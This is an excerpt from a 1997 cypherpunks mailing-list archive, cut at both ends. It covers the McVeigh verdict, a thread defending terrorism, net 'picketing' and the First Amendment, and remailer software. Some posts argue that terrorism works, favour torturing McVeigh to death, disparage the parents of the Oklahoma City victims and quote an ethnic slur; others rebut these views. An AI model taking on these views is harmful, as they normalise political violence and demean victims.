illegal. As for the child abuse, that is a thornier subject, but the 
police had no right to be there.

> And in any case the point is that Waco does not absolve McVeigh and
> the militias for the blame for Oaklahoma.

No, but it doesn`t change the fact that no-one is supporting McVeighs 
agressive act against the children in that building. There are many sides 
to this case, it is not just a black and white case, there are a lot of 
angles one can analyse and judge it from.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 14:31:15 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <0nZMXF200YUg07xmg0@andrew.cmu.edu>
Message-ID: <v03007836afbc0a8dda6a@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:51 AM -0700 6/4/97, Tim May wrote:
>At 8:25 AM -0700 6/4/97, Jeremiah A Blatz wrote:
>>Bill Frantz <frantz@netcom.com> writes:
>>> At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
>>> >Contrast ["milita violence"] with the brilliance of the anarchist
>>> >Eward Abbey in "The Monkey Wrench Gang", where the anti-government
>>> >acts were calculated to call forth popular support.
>><snip>
>>> If you at least avoid killing people, then you have fewer bitter enemies
>>> and a better chance of holding on to your winnings.  The examples of
>>> Gandhi, King, and Mandala come to mind.  Contrast their success with the
>>> results of the violence approach as exemplified by the generations old wars
>>> in Ireland and Israel.
>>
>>You left out Sea Shepard, who sank the entire Icelandic whaling fleet
>>(with zero casualties) on night. Earth First!, Greenpeace, and other
>>somewhat-less-direct action groups have used "terrorist" means and
>>achieved enourmous popular support.
>
>I don't want to start "defending terrorism," esp. of the murderous sort,
>but the plain fact for anyone to see is that terrorism often _does_ work.
>
>Look at Palestine/Israel/the Zionist Insect/whatever.
>
>Had the Palestinians calmly filed petitions to get the land back that was
>seized by European Jews after the Second World War--the Brits often
>referred to Palestinians and Arabs as "sand niggers"--would any land ever
>have been transferred back?

Right.  They have their land back.  And they have peace on that land.  Sure.

They certainly could have not done much worse had the followed Gandhi and
King with massive civil disobedience.  Civil disobedience has a pretty good
track record when used against civilized countries.  (I wouldn't recommend
it in present-day China or Nazi Germany.)


>(In fact, the act of terrorism against the 242 Marines in Beirut in 1983
>"worked," didn't it? The Americans were on their way out within weeks.)

Probably because there wasn't much domestic support for our staying there.
The same comment applies to the British leaving Palestine.  IMHO, the
situation is quite different when the disagreement is civil-war in nature,
as it is in northern Ireland, Palestine/Israel, and the USA.  Neither side
is likely to get tired and go home.  The only long-term solution is to
learn to live together.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 5 Jun 1997 15:11:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102806afb8d1b8fe50@[207.167.93.63]>
Message-ID: <3.0.2.32.19970604233411.03aa8cf4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 AM 6/4/97 -0400, frissell@panix.com wrote:

>I find this hard to believe.  I guess it takes all kinds to make a world.
In 
>the current employment market for people with crypto skills, few are going
to 
>get fired for their political views and no one of these types would find it 
>hard to get another job if fired.

When I decided to quit my job at DigiCash, I had three offers the next day.
That was before I mentioned my decision on the Net. Still, I have toned
down my posts to the list. I am considerably more careful about how what I
am saying will be looked at in the future.

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 14:37:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03102818afbb58470a20@[207.167.93.63]>
Message-ID: <v03102800afbc0d343106@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:26 PM -0700 6/4/97, Bill Frantz wrote:

>as it is in northern Ireland, Palestine/Israel, and the USA.  Neither side
>is likely to get tired and go home.  The only long-term solution is to
>learn to live together.
  ^^^^^^^^^^^^^^^^^^^^

On this subject, my list colleague Bill and I are from different planets.
The chasm that separates us is a Grand Canyon.

When I hear people talk about "why can't we just get along together?" and
its variants, I reach for my .45.

"Learning to live together" is absurd when the other side has stolen your land.

Strong crypto is also a tool of vengeance.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 12:49:05 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706050354.WAA04800@einstein.ssz.com>
Message-ID: <199706050444.XAA29186@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706050354.WAA04800@einstein.ssz.com>, on 06/04/97 
   at 10:54 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Hi,

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Wed, 04 Jun 97 22:31:07 -0500
>> Subject: Re: Webpage picketing (fwd)

>> I as Joe Sixpack want to goto http://www.bigtits.com
>> 
>> You as goodie-2-shoes want to picket this site.
>> 
>> Inorder to do this you wish to have me goto http://www.NOW.com and see
>> their anti-porn page before I can see the bigtits page. (wether I actually
>> goto their website or the page is automatically downloaded is irrelevant
>> for the disscusion).

>Not exactly, I am saying it would be legaly permissible under the same
>chain of reasoning that allows picketing at a public sidewalk in front of
>a business to extend it to network traffic which traversed a public link
>in the chain of nodes between user and server. I am in effect saying the
>end point publicly funded servers on a section of publicly funded
>network, not the user or the actual target server (who again have no more
>stake in this than in an actual picket line - none), would be required to
>provide 3rd party single pages before serving the actual target of the
>user based upon the same sorts of situations that arise in meatland.

>Is that clearer?

>> Where exactly is it in the constution that say that your free speech
>> rights extend to the point where you can force me to read what you have to
>> say when I don't want to?

>The 1st Amendment, when you are traversing public property, be it a
>sidewalk or stretch of network cable. It is simply a matter of strategy
>and geography if for you to get to where you want to go you have to go
>through public property on which I desire to speak. Neither you nor your
>intended destination has anything to say about it.

>> I just don't see how you can make this leap regardless of who is doing the
>> funding.

>Then you don't understand how picketing works. To get to the private
>store you must cross public property. The public is free to use that
>property to their own ends within the law. The law allows, through the
>1st Amendment, anyone to stand on that public stip and make certain
>claims about adjacent private parties. Hell, you can legaly picket a
>private individuals house as long as you do it from the sidewalk - which
>by extension means that they could specificaly picket your personal
>server if they desired as long as they did it from a publicly funded
>stretch of network.

>> I'll leave the numerous analogies alone for a latter post. I just don't
>> see where anyone has the right to tell me what I must read.

>As long as you are not using everybody elses money (ie public funds) to
>get there they don't. But your not wanting to see the picketers in front
>of Bookstop on the sidewalk in no way impacts their right to be there and
>your total impunity to do anything about it legaly short of picketing
>yourself.

Well this is why I had wanted to set the analogies aside. There are some
real diferences between cyberspace and your metaspace analogy of the
picket line. In cyberspace there is no sidewalk for your picket to stand
and for me to pay as little or as much attention as I wish.

A more closer analogy between cyberspace and metaspace is that your
picketors are not standing off to the side but are blocking the door and
the only way I can enter is to read their signs first. This is the point
where your picketors have oversteped the bounds of their 1st Amendment
rights. While the have the right to picket infront of the store they
cannot interfere with the comming and goings of the customers. The has
been well tested in the courts. The problem with extending the picket
analogy to cyberspace is there are no sidewalks. It's all or nothing.
Either you are blocking the door or you are not.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 16:14:12 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: McVeigh
In-Reply-To: <Pine.SUN.3.96.970604161638.24801B-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.91.970604234636.624F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> A better question, and a bigger issue is this: what plausible explanation
> was given for the lack of BATF agents in the building on that day?  Could
> it be that they knew about the attack?  If they did, why did they allow it
> to happen, thus killing those kids in the day care center.  If they did,
> we know who the true criminals are.  But this is a good question.  Will we
> ever know the truth?

We may speculate, we may even know the truth. The government however 
won`t allow a small thing like truth to stand in their way.

> IMHO, If McVeigh did what he did, frying or lethal injection is
> acceptable, he decided to take an action that would potentially cost him
> his life, gambled and lost.

Yes, he is guilty of murder and I would favour torturing him to death 
slowly, this is not emotional reactionism, merely a desire for justice 
and fair punishment.

As I have said, I personally believe McVeigh was guilty, this does not 
make it so, and no jury in the world should have convicted him on what 
was presented.

> Like all terrorists, the price of killing
> many is the price of being killed.  Etc.  It's a fair trade from one point
> of view (though my money says he's shitting bricks right now), unfair from
> the victim's point of view.

A fairly natural reaction, McVeigh will suffer the most if he is 
executed, I would imagine that unless you are a deeply religious person 
the knowledge of your impending death is indeed terrifying. I recall a 
near miss I had in a car a while ago, I thought I was going to hit an 
oncoming car and be killed, only lasted about 10 seconds, if that, yet it 
was the most terrifying experience of my life, going through than for weeks 
or months is indeed a fitting punishment if he is guilty.

> Life sucks.  Death sucks even more.

Indeed, sometimes in very dark moments I do believe being dead might be 
more fun <g>, less to worry over, but the will to self destruction is 
surrender.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 5 Jun 1997 15:02:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Will Bell get the rest of us in trouble?
In-Reply-To: <v0302090cafbbdd5e8baf@[139.167.130.246]>
Message-ID: <3.0.2.32.19970604235647.007645e4@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> However, the focus, at least for why he has been denied bail, is strongly
> on the "assassination politics" essays and communications, and on
> "overthrowing the government" sorts of things. (This according to the
> affidavit, and according to what Greg Broiles relayed from Bell's
> court-appointed lawyer.)

Actually, I haven't spoken with Bell's attorney, but John Young did. My
comments about Jim and his situation, jail policies, etc., are based on
reading the search warrant docs, the complaint, and on a general
understanding of the practical/applied side of criminal law. I don't have
any knowledge about the specific facts of this case that aren't on my site
or John Young's. Several of us from C2Net did talk with Jim's mom on the
telephone a day or two after the raid, but didn't learn anything that
hasn't been covered in the various newspaper articles about the case.

Has anyone read/heard anything about the nature of the grand jury
proceedings which are scheduled? The articles I've seen have suggested that
perhaps Jim will get good news from the grand jury - but I'm wondering if
it's not the federal prosecutor's way to seek *more* charges, fish for more
evidence (witnesses can be subpoena'd to testify before the grand jury, and
aren't allowed to have their own counsel present with them in the hearing
room during their testimony, although they are allowed to take the Fifth)
and/or try out some of the weirder conspiracy/militia stuff in front of
more or less ordinary citizens. A grand jury indictment (or refusal to
indict) is a good way for a prosecutor to deflect scrutiny/publicity from
their own decisions, and blame the outcome on a third party. If they
indict, the prosecutor points to their decision as proof that s/he isn't
just indulging a personal vendetta against the defendant. If they don't
indict, the prosecutor can point out that s/he did their best but was
thwarted by a third party. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 5 Jun 1997 12:20:12 +0800
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <Pine.GSO.3.95.970605000244.19883A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I was having dinner with Don Haines, a friend of mine who's a legislative
counsel with the national ACLU, when the McVeigh verdict came down.

A Canadian prosecutor who was having dinner with us said: "So McVeigh did
it after all."

Don replied: "No. He was found guilty of the crime."

There is a difference.

-Declan



On Wed, 4 Jun 1997, Chris DiBona wrote:

> <rant>
> 
> Okay folks...what the hell is wrong with you? First off, this whole McVeigh 
> Crap is a bit off topic..but we all know this. The amazing thing about the 
> string of posts has been that people have forgotten that He has been found 
> guilty of murdering quite a few people. Guilty,  Guilty,  Guilty. Jury of 
> his peers, dare I say, people like us all. Randomly selected. This is how 
> our system works.
> 
> Yes there are flaws in the system.
> 
> Yes the US govt. has it's problems in the past, present and future.
> 
> Yes people have died because schnooks in DC have had thier heads up thier 
> ass. Or not.
> 
> So whether or not you belive he did it.....how can anyone be _for_ what 
> _happened_. People died senselessly, I can't believe that anyone (in this 
> case Duncan Frissell frissell@panix.com, lets give credit where it is due) 
> can be so callous and , frankly, sick , to say :
> 
> <>
> As to the Children of OKC, people who turn the care of their children over 
> to
> government employees or contractors do not place too high a value on those
> children.
> <>
> 
> Are you serious? You should be ashamed that you think this way. Do you 
> really
> think those children who died weren't cared for? You are a sick person who
> should seriously consider therapy. Anyone who read this and said "Yeah!" 
>  is
> on the same plane.
> 
> To all the people who defend blowing shit and people up to get thier point 
> across....
> 
> Okay..so the IRA does it, and HAMMAS does it, and the CIA does it. So does 
> the
> PLFP the FARC and a zillion other terrorist groups. And it appears McVeigh 
> did it.
> But that doesn't make blowing up children in freakin' day care all right. 
> Do you
> understand this? There is no reason to blow up kids. It's wrong. For any 
> reason.
> Bad. Duncan...looking over your past posts.. .I've got to wonder if you 
> were on acid
> when you wrote this, many of your posts were fairly cozigent. But this? Do 
> you have
> children? Any  cousins who are children? A nephew or neice? Do these 
> children
> who may be important to you have parents who "care" about them enough to
> scour the planet to find a good,safe day care that isn't withing the blast 
> radius or
> shooting range of :
> 
> A government office.
> A large corporations headquarters.
> A law firm.
> A post office.
> A town square.
> A restaurant.
> A bank.
> Anywhere some asshole might have a gun and go loopy.
> Anywhere some asshole might have a car be drunk and go loopy.
> Anywhere some asshole might have a gun and a car and be drunk and go loopy. 
> 
> If they even could, I'm someone somewhere will find a way to fuck up that 
> safe place.
> 
> You get the point, I could go on....but I won't.  Perhaps you should think 
> and read
> over your posts before you post again. The only good thing (and I mean 
> ONLY) to
> come out of the whole Mcveigh thing being discussed here on cypherpunks, is
> that it has allowed me to add to my killfiles people who have for some 
> reason,
> had a prefrontal.
> 
> To all the dipshits who could possibly think otherwise. I should also 
> mention it
> is an EQUALLY fucked up thing to blow up adults.
> 
> Like my fellow Santa Clara County Resident Bill Frantz said :
> 
> For cypherpunks this comes down to: Make code, not bombs.
> 
> 	Chris DiBona
> 
> </rant>
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 13:20:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Anarchy, Peter Pan, and Insults
In-Reply-To: <v03102807afbbf55a7e2d@[207.167.93.63]>
Message-ID: <199706050516.AAA29616@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102807afbbf55a7e2d@[207.167.93.63]>, on 06/04/97 
   at 10:02 PM, Tim May <tcmay@got.net> said:

>(Those who have a deeper understanding of anarchy, whether
>anarcho-capitalism or more leftist variants, tend to understand that the
>underlying similarities are greater than the differences. Though I favor
>unrestricted free markets, I understand that corporate agents, like
>Microsoft, PGP, and RSA, will seek advantage anyway they can, and are a
>threat in any statist system. Anarchy lessens their power in more ways
>than one. I will continue to fight my left-anarchist friends on issues
>like gun control and freedom of association, but we seem to agree that
>reducing power of central governments remains a good thing.)

There is an old Middle East saying: "The enemy of my enemy is my friend"

While such a philosphy can be quite effective taticly it can pose risks
strategicly.

A good example of this was our support of Iraq durring the Iraq-Iran war
even though Iraq had traditionally been a soviet allie. This came back to
haut us durring the gulf War as our previous "friend" became a new enemy
when truly they were always an enemy and the freindship was temporarily
created through a common "enemy". Many other examples of this can be seen
in US foreign relations.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 5 Jun 1997 12:29:42 +0800
To: Kent Crispin <cypherpunks@toad.com>
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <3.0.2.32.19970605001420.03852ed0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Yes, some pathetic strange little boys swaggering around in never-never 
>land.  Lonely individuals with shriveled hearts, stunted morals, and 
>feverish imaginations, who brag contemptuously of their superiority
>over "sheeple", and boast of their heroic roles in the coming 
>revolution.

I hope you're not referring to Lucky, or Time May, or me.  Lucky has a 
successful career in a computer-related field.  Tim was exceedingly well-
integrated into the work force at Intel and did a great deal of valuable and 
lucrative work for them.  I am married with four children (who I never sent to 
a government school) and get along well with a host of friends and co-workers. 
 I have achieved a modicum of success as a writer and speaker.  I happen to be 
a neo-victorian myself.

Why is it that when someone like Al Gore expresses strong and extremist views 
as he did in "Earth in the Lurch" (or whatever that book was called) no one 
ever claims that he is " a pathetic strange little boy swaggering around in 
never-never land.  A lonely individual with a shriveled heart, stunted morals, 
and a feverish imagination."

How do you know our hearts are shriveled?  Can it be because we can do the 
math and figure out the Feds are *much* bigger killers than McVeigh?  Why 
don't you bleed for *their* victims.  Remember, government's crimes are worse 
than private crimes (even apart from the higher body count) because a serious 
breach of duty and trust is involved. 

Look, people are bound to disagree over social policy and even right and 
wrong.  But since everyone is much more powerful than they used to be, a force-
based monopoly on policy and morality ("others" government) just can't be 
sustained anymore.  Your side just simply doesn't have the artillery.  It 
would be better for everyone if you would recognize reality, step back, and 
allow self-government to replace others-government.  It will happen anyway.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 5 Jun 1997 12:40:24 +0800
To: cypherpunks@toad.com
Subject: Government money, Net picketing, and public fora
In-Reply-To: <199706050148.UAA04173@einstein.ssz.com>
Message-ID: <Pine.GSO.3.95.970605002510.20773B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Unfortunately, Jim has no idea what he's talking about. Accepting public
money does not magically turn something into a public forum. 

I'm not sure how I can get this idea through.

-Declan


On Wed, 4 Jun 1997, Jim Choate wrote:
> 
> If it is a fully privately funded highway, I agree. If it accepts public
> money I obviously disagree with you. As to the packets watching, no more so
> than the cars being used are watching the picketers. This is a straw man
> argument. The issue here is not the packets but the paticipants.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 15:35:02 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03007836afbc0a8dda6a@[207.94.249.152]>
Message-ID: <v0300783aafbc16c7bbcf@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:34 PM -0700 6/4/97, Tim May wrote:
>At 11:26 PM -0700 6/4/97, Bill Frantz wrote:
>
>>as it is in northern Ireland, Palestine/Israel, and the USA.  Neither side
>>is likely to get tired and go home.  The only long-term solution is to
>>learn to live together.
>  ^^^^^^^^^^^^^^^^^^^^
>
>On this subject, my list colleague Bill and I are from different planets.
>The chasm that separates us is a Grand Canyon.
>
>When I hear people talk about "why can't we just get along together?" and
>its variants, I reach for my .45.
>
>"Learning to live together" is absurd when the other side has stolen your
>land.

I'm glad the Indians aren't acting on that precept.  (But in the past they
did act and got their asses whooped real good.  That's why we can say, "We
stole it fair and square.")

More generally, if you haven't set foot on the land, and your father never
set foot on the land, and so on, then trade and perhaps even friendship
with whoever currently is on the land may be a better deal than poverty,
blood, and death.  YMMV, however you should not let religion/ideology/hate
blind you to your long term rational self interest.

I do agree with Tim that some things are worth fighting and even dieing
for, but they should always be examined in terms of long term rational self
interest.  (If you're going to die anyway, then take enough of them with
you to make a proper escort into paradise.  If the nazi-commies are
enslaving your country, then by all means take up arms in its defense.
Etc.)

IMHO, in northern Ireland and Palestine/Israel all the continued fighting
promises is poverty, blood, and death.  Accepting that possession is 100%
of the law would let everyone live a better life (except the politicos who
feed on hate).


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 5 Jun 1997 15:41:19 +0800
To: cypherpunks@cyberpass.net
Subject: Virtual picketing
Message-ID: <3.0.2.32.19970605003513.00709a10@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




I think that analogies are useful to illustrate a point, but a poor basis
for making new laws or new policies. I think it makes more sense to look at
the reasoning behind the first policy, and/or the combination of conditions
and policies that created it, and see if they're present (or not) in the
situation which seems to require a new policy. 

In the particular case of the Internet, I don't think it's at all clear
that a public highway is the best (or only) analogy which is appropriate -
for example, one could also draw an analogy to a *freeway* .. which, at
least in many places, are not open to picketers or pedestrians of any sort. 

Another easy analogy is to the postal service - it's more or less
government-run (haven't kept track of the precise line that's drawn), but
there's certainly no right to "picket" communications sent using this
government-owned media .. I don't get to add extra pages to letters that my
neighbors get, nor they to mine. And there's no First Amendment problem
there - if I want to communicate with someone about an issue, I can send
them mail. Third parties have no right to interfere, nor to learn our names
so that they can bombard us with mail. 

And the same is true for communications sent by private carriers like FedEx
and UPS, even where those private carriers use public facilities like roads
and sidewalks and airports to carry on their private businesses, delivering
private communications. Incidental use of a public facility does not
nationalize a private person/organization. (I think the argument is
stronger where a private party monopolizes a public resource - but I
suspect that my gut reaction to that isn't compatible with what courts are
doing these days.) 

This discussion is getting waylaid with a host of weakly-related and
poorly-understood legal doctrines - e.g., a "right to picket", "public
forums", and "right to privacy". Instead of getting bogged down in those
tarpits (or distracted by their attractive pseudo-official flavor), let's
focus on the real question(s) at hand. I understand to proposal to be that
it'd be somehow beneficial if the government interferes with communications
between consenting parties if the communication happens to touch or utilize
a publically owned/funded resource ... or that such interference is allowed
or required by the First Amendment. I think that presents a much clearer
and more fundamental First Amendment question - e.g., can the government
force me to say things I don't want to say? Can the government intercept
speech from me to another person and preface or wrap it with some sort of
counterargument provided by people who disagree with me? I think the answer
is (and should be) a slam-dunk "no". No tricky analogies needed. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 5 Jun 1997 15:58:35 +0800
To: cypherpunks@toad.com
Subject: NetAction -- another big government "cyberliberty" group
Message-ID: <Pine.GSO.3.95.970605004410.12266B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



*sigh* --Declan


---------- Forwarded message ----------
Date: Wed, 4 Jun 1997 23:34:45 -0700 (PDT)
From: Audrie Krause <akrause@igc.apc.org>
To: declan@well.com
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: Micro$oft Monitor: Sidewalk Spam

Sorry, Declan, I don't share your rather naive belief that industry is going
to regulate itself.  

At 01:37 AM 6/1/97 -0400, Declan McCullagh wrote:
>Glad to see Net Action is pointing out potential privacy violations or
>potential for spam (though there seems to be no evidence saying Microsoft
>in fact has sent such spam).
>
>But what I find interesting is that NetAction is using the Net, the
>press, the media to broadcast Microsoft's bad privacy policies. Then
>people can choose to visit or not, or to read the notice more carefully.
>
>Thus I see no need for FTC rulemaking. I hope that is what NetAction will
>be saying to the FTC. Etrust is another solution NetAction should support.
>








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 5 Jun 1997 16:17:44 +0800
To: "cypherpunks@toad.com>
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <19970605010358.20968@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jun 05, 1997 at 12:14:20AM -0400, frissell@panix.com wrote:
>>Yes, some pathetic strange little boys swaggering around in never-never 
>>land.  Lonely individuals with shriveled hearts, stunted morals, and 
>>feverish imaginations, who brag contemptuously of their superiority
>>over "sheeple", and boast of their heroic roles in the coming 
>>revolution.
>
>I hope you're not referring to Lucky, or Time May, or me.  Lucky has a 
>successful career in a computer-related field.  Tim was exceedingly well-
>integrated into the work force at Intel and did a great deal of valuable and 
>lucrative work for them.  I am married with four children (who I never sent to 
>a government school) and get along well with a host of friends and co-workers. 
> I have achieved a modicum of success as a writer and speaker.  I happen to be 
>a neo-victorian myself.

Clinton has a *very* successful career as a politician, and has done 
a great deal for Intel, in that role.  And he is a great family man 
who also gets along well with a host of people.

I was characterizing the people Lucky described:  

  Some on this list will even say that the kids' deaths fortunately
  reduced the negative impact their parents can have on the gene pool. 

If you, Lucky, or Tim hold such sentiments in your heart, then I am
referring to you.  Lucky's statement that people putting their 
children in daycare in a federal building are "criminally stupid" is 
simply contemptible.

>Why is it that when someone like Al Gore expresses strong and extremist views 
>as he did in "Earth in the Lurch" (or whatever that book was called) no one 
>ever claims that he is " a pathetic strange little boy swaggering around in 
>never-never land.  A lonely individual with a shriveled heart, stunted morals, 
>and a feverish imagination."

Of course, Gore has been called far worse things, many times over. 
Probably on this very list.  You know that, I know that.

>
>How do you know our hearts are shriveled?  Can it be because we can do the 
>math and figure out the Feds are *much* bigger killers than McVeigh?

No Duncan.  It's because your first thought is to do that math.  It is
one thing to be aware of the many, many failings of human beings and
their governments.  It is another thing to savor rightous anger,
keeping score, and thinking of suitable revenge.  Besides, who the
heck are "the Feds"? What set of human beings are you thinking about?

>Why 
>don't you bleed for *their* victims.

I do.  Though I wouldn't use that metaphor.

>Remember, government's crimes are worse 
>than private crimes (even apart from the higher body count) because a serious 
>breach of duty and trust is involved. 

Keeping score again, eh?  Government -5 billion, Duncan 10.

>Look, people are bound to disagree over social policy and even right and 
>wrong.  But since everyone is much more powerful than they used to be,
>a force-
>based monopoly on policy and morality ("others" government) just can't be 
>sustained anymore.

Why on earth would you think that?

>Your side just simply doesn't have the artillery. 

"My" side? You probably mean the "government".  If so, you are
deluded.  If not, you are right -- I personally have only a small
armory -- a few automatic weapons, two tactical nukes, some
conventional explosives, and a big pocket knife -- just your average
homeowner arsenal. 

>It 
>would be better for everyone if you would recognize reality, step back, and 
>allow self-government to replace others-government.

I'm not standing in anyone's way, and it wouldn't make any difference
at all if I did, because I am an insignificant zero who comforts
himself with the thought that being a clown is an honorable
profession.  That's reality.  You should take a hit, sometime -- it's
heavy stuff.  But you know who really needs a heavy dose -- it's that 
Bob Hettinga fellow -- his head is shaped strangely like a big brick, 
and he gets it wedged in the strangest places.

> It will happen anyway.

Yep.  And the second coming is just around the corner,  now that 
the comet has arrived with the mother ship.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Thu, 5 Jun 1997 17:34:58 +0800
To: cypherpunks@toad.com
Subject: Re: Who "invented" remailers?
Message-ID: <Pine.SOL.3.96.970605021259.16901A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Alan (alano@teleport.com) wrote:

>Currently, use of the Mixmaster remailer system is out of reach of most
>of the average users out there. The only serious project to address that
>need has been Private Idaho and development has stopped on that project. 

Privtool (my PGP-aware mail program for Unix) has supported Mixmaster
remailing for years (just click a box and off it goes) and would also
support nym.alias.net if it hadn't gone down just as I started building in
the capability (it currently supports decryption but not posting). Anyone
who wants to use my remailing code is free to rip it off under the GPL.

Currently there are at least two people developing Private Idaho and
